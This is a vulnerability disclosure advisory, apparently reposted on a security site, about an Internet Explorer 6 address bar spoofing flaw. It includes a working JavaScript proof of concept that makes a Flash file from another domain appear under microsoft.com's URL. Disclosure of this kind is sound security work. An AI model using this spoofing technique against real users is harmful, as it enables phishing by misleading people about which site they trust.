Another Internet Explorer Address Bar Spoofing Vulnerability

Advisory Content :

DESCRIPTION:

I've found another Internet Explorer Address Bar Spoofing Vulnerability
that can be exploited by phiser. This allow attacker inject a malcious
shockwave-flash application into Internet Explorer while it is display
another URL (even trusted sites).

If you are loading a shockwave-flash but it isn't loaded fully, you make
change to the window.location, both of two resouces will be loaded at the
same time and the Addess Bar display the new window.location. And when the
old shockwave are loaded fully, this will activate the IE but the Address
Bar isn't affected.

The vulnerability has been confirmed on a fully patched system with
Internet Explorer 6.0 + Microsoft Windows XP SP2 and previous versions. You
may perform the test by yourself with my simple code.

SAMPLE CODE:

##### LukesTest.htm #####
<script language="javascript">
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open('http://www.microsoft.com/','new')
pause (2000)
win = window.open('http://www.buctuong.com/swfs/index.swf','new')
pause (2000)
win = window.open('http://www.microsoft.com/','new')

}
</script>
<a href="javascript: spoof()">Perform the test</a>
#########################

If you are vulnerable you will see the flash intro of buctuong.com while
the address bar is http://www.microsoft.com/
If you have a very fast connection you may change my flash application to a
larger one to make loading time take longer.

DISCOVERED BY:

Hai Nam Luke <hainamluke (at) yahoo (dot) com [email concealed]>
K46A - NEU, Hanoi

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Another Internet Explorer Address Bar Spoofing Vulnerability